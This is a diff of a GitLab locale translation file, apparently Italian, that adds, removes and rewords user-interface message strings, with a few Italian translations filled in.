@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr "Ultimo che ha Joinato"
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr "Dal primo Joinato"
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Lo stadio di programmazione mostra il tempo trascorso dal primo commit alla creazione di una richiesta di merge (MR). I dati saranno aggiunti una volta che avrai creato la prima richiesta di merge."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "L'insieme di eventi aggiunti ai dati raccolti per quello stadio."
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "Lo stadio di Issue mostra il tempo che impiega un issue ad esser correlato ad una Milestone, o ad esser aggiunto ad una tua Lavagna. Inizia la creazione di problemi per visualizzare i dati in questo stadio."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "Il ciclo vitale della fase di sviluppo."
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "Lo stadio di pianificazione mostra il tempo trascorso dal primo commit al suo step precedente. Questo periodo sarà disponibile automaticamente nel momento in cui farai il primo commit."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "Lo stadio di revisione mostra il tempo tra una richiesta di merge al suo svolgimento effettivo. Questo dato sarà disponibile appena avrai completato una MR (Merger Request)"
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "Lo stadio di pre-rilascio mostra il tempo che trascorre da una MR (Richiesta di Merge) completata al suo rilascio in ambiente di produzione. Questa informazione sarà disponibile dal tuo primo rilascio in produzione"
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "Lo stadio di test mostra il tempo che ogni Pipeline impiega per essere eseguita in ogni Richiesta di Merge correlata. L'informazione sarà disponibile automaticamente quando la tua prima Pipeline avrà finito d'esser eseguita."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "Il tempo aggregato relativo eventi/data entry raccolto in quello stadio."
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "Il valore falsato nel mezzo di una serie di dati osservati. ES: tra 3,5,9 il mediano è 5. Tra 3,5,7,8 il mediano è (5+7)/2 quindi 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr "Sconosciuto"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index 656e535649d..fabf20106e8 100644
